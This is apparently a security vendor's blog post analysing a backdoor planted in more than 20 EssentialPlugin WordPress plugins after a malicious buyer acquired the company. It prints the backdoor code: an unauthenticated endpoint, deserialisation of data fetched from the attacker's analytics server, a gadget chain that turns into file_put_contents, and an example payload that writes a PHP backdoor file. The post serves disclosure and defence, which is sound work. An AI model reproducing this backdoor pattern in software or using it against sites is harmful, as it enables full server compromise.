This blog post is a technical analysis of the supply chain compromise affecting multiple plugins developed by EssentialPlugin for WordPress. A malicious party acquired EssentialPlugin, planted backdoor and triggered it across 20+ plugins to plant malware on thousands of WordPress sites.
If you are running any of the plugins developed by EssentialPlugin, update the plugins to the latest version.
Patchstack has published vulnerability entries for all of the affected plugins and released a mitigation rule that partly covers one of the exploitation scenarios.
About the Vendor
EssentialPlugin is a WordPress plugin vendor that has created a lot of open-source plugins available at wordpress.org. The vendor has developed multiple plugins with thousands of active installs including but not limited to WP Logo Showcase Responsive Slider and Carousel, Countdown Timer Ultimate, Popup Maker and Popup Anything, and more.

What Happened
As per Anchor Host, the vendor has been been developing plugins since 2015. However, in 2025, the company was sold to a buyer named βKrisβ in Flippa. After the acquisition, the first commit from the new owner was the plantation of the backdoor across all the plugins.
In September 2025, the pushed code under the commit message [*] Check compatibility with WordPress version 6.8.2 was a potential PHP object injection with a gadget chain that could be triggered if analytics.essentialplugin.com returned with a malicious serialized content. A sample innocent-looking changeset that planted the backdoor looks like this. Even though the backdoor was planted 7 months ago, it was never used until April 5, 2026.
On 7th April, the WordPress Plugins Review team confirmed the attack and removed the PHP object injection gadget chain across all the affected plugins. They closed all of the affected plugins permanently in the directory and pushed a forced security update that attempts to remove the backdoor and warn administrators.
This is a classical case of supply chain compromise that happened because the original vendor sold their plugins to a third-party which turned out to be a malicious threat actor.
How the Attack Works
As mentioned above, the backdoor only worked if analytics.essentialplugin.com returned malicious serialized payload that would get deserialized to perform arbitrary file write or execute commands.
1. The Entrypoint
The plugin register an unauthenticated REST API endpoint:
public function wpos_rest_api_init() {
foreach ( $this->analytics_slugs as $product_slug ) {
register_rest_route(
$product_slug . '/v1',
'/analytics/',
array(
'methods' => 'POST',
'callback' => array( $this, 'wpos_handle_analytics_request' ),
'permission_callback' => '__return_true', // No authentication
)
);
}
}
The callback function triggered by the REST API endpoint looks like this:
public function wpos_handle_analytics_request( $request ) {
global $wpos_analytics_module;
// Get parameters from request
$site_id = sanitize_text_field( $request->get_param('siteID') );
$product_id = sanitize_text_field( $request->get_param('productID') );
$product_slug = sanitize_text_field( $request->get_param('productSlug') );
$site_url = esc_url_raw( $request->get_param('siteURL') );
//TRIMMED
// If matching product found, proceed with analytics
if ( $matching_product ) {
$version = $this->wpos_get_plugin_version_by_file($matching_product['file']);
$update_result = $this->fetch_ver_info( $product_id, $version );
unset($update_result);
$this->wpos_process_monthly_data( array( $matching_product['slug'] ) );
//TRIMMED
}
}
}
2. The Sink
The fetch_ver_info() method fetches a serialized PHP object from the attackerβs server:
public function fetch_ver_info( $product_id, $curr_version ) {
$url = $this->analytics_endpoint . '/plugin_info/' . $product_id . '/'
. '?version=' . urlencode($curr_version)
. '&site_url=' . urlencode(get_site_url()) . '&live=1';
$data = @file_get_contents($url);
if (!$data) {
$this->status = 'offline';
return false;
}
$info = @unserialize($data); // Deserializes untrusted remote data
if ($info instanceof self) {
$this->release_date = $info->release_date;
$this->status = $info->status;
$this->write = $info->write;
$this->version_cache = $info->version_cache;
$this->changelog = $info->changelog;
}
}
The content from the output of the fetch request to $this->analytics_endpoint is sent to the unserialize() function. The variable has the hardcoded value of analytics.essentialplugin.com.
3. The Gadget Chain to Arbitrary File Write
By itself, PHP object injection does not have any severe security impact. However, if there is a gadget chain, it can lead to various impact ranging from arbitrary file write to file deletion and more.
The class defaults look like this:
class Wpos_Anylc_Admin {
public $analytics_endpoint = 'https://analytics.essentialplugin.com';
public $status = 'unchecked';
public $write = 'update_option'; // Looks harmless
public $version_cache = 'version'; // Looks harmless
public $changelog = null;
public $release_date = null;
At first glance, $write = 'update_option' looks like a standard WordPress function reference. But after fetch_ver_info() runs, all of these properties are replaced with whatever the attackerβs server sent.
The execution happens in version_info_clean():
public function version_info_clean() {
if ($this->status === βvalidβ && $this->changelog && !$this->isOutdated()) {
$clean = $this->write;
@$clean($this->version_cache, $this->changelog);
}
}
The $clean variable populated through $this->write becomes file_put_contents(). The $this->version_cache acts as the destination for the malicious file and the content is written through the $this->changelog variable.
By creating the relative malicious serializated payload returned by the compromised server, the final payload becomes something like:
@file_put_contents("/var/www/html/wp-comments-posts.php", "<?php /* backdoor */ ?>");
This leads to arbitrary file write and full server compromise.
Plugin Review Teamβs Incident Response
The WordPress Plugin Review team took immediate steps to stop the attack from spreading. They closed all plugins fully from wp.org to prevent more sites from getting infected. Additionally, they ensured that the PHP object injection cannot be triggered even after getting access to the compromised server.

In the new force-pushed version, the responsible code for file write has been commented out:
//@$clean($this->version_cache, $this->changelog);
Alongside, the function wpos_handle_analytics_request() directly stops the execution with the use of return; keyword in the function.
Affected Plugins
- WP Logo Showcase Responsive Slider and Carousel (30k+ active installs)
- Popup Maker and Popup Anything (30k+ active installs)
- Countdown Timer Ultimate (20k+ active installs)
- WP Responsive Recent Post Slider (20k+ active installs)
- WP News and Scrolling Widgets (10k+ active installs)
- WP Slick Slider and Image Carousel (10k+ active installs)
- Album and Image Gallery Plus Lightbox (9k+ active installs)
- Testimonial Grid and Testimonial Slider plus Carousel with Rotator Widget (9k+ active installs)
- WP Blog and Widgets (8k+ active installs)
- Timeline and History Slider (5k+ active installs)
- Post grid and filter ultimate (5k+ active installs)
- Meta Slider and Carousel with Lightbox (5k+ active installs)
- WP responsive FAQ with category (4k+ active installs)
- Blog Designer β Post and Widget (4k+ active installs)
- Accordion and Accordion Slider (2k+ active installs)
- Team Slider and Team Grid Showcase plus Team Carousel (2k+ active installs)
- Popular Post Slider and Widget (2k+ active installs)
- Featured Post Creative (1k+ active installs)
- Portfolio and Projects (1k+ active installs)
- WP Featured Content and Slider (1k+ active installs)
- Post Ticker Ultimate (1k+ active installs)
- Video gallery and Player (1k+ active installs)
Indicators of Compromise (IOC)
Files
wp-comments-posts.php- Modifications in
wp-config.phpfile
Conclusion
Conclusion
This incident is a textbook example of a supply chain compromise in the WordPress ecosystem. A trusted plugin vendor, EssentialPlugin, sold their portfolio of 25+ plugins on Flippa, and the new owner turned out to be a malicious actor. After the acquisition, the attacker planted a dormant backdoor across all the plugins disguised as a routine compatibility update. Seven months later, the attacker activated it by serving malicious serialized payloads through their controlled server, turning an innocent-looking analytics module into a fully weaponized backdoor that could write arbitrary files and compromise any site running the affected plugins. This case is a stark reminder that plugin ownership changes can introduce serious security risks, and site administrators should treat such transitions with caution.
Want to learn more about finding and fixing vulnerabilities?
π€ You can help us make the Internet a safer place
Streamline your disclosure process to fix vulnerabilities faster and comply with CRA.
Get started for freeProtect your users too! Improve server health and earn added revenue with proactive security.
Patchstack for hostsReport vulnerabilities to our gamified bug bounty program to earn monthly cash rewards.
Learn more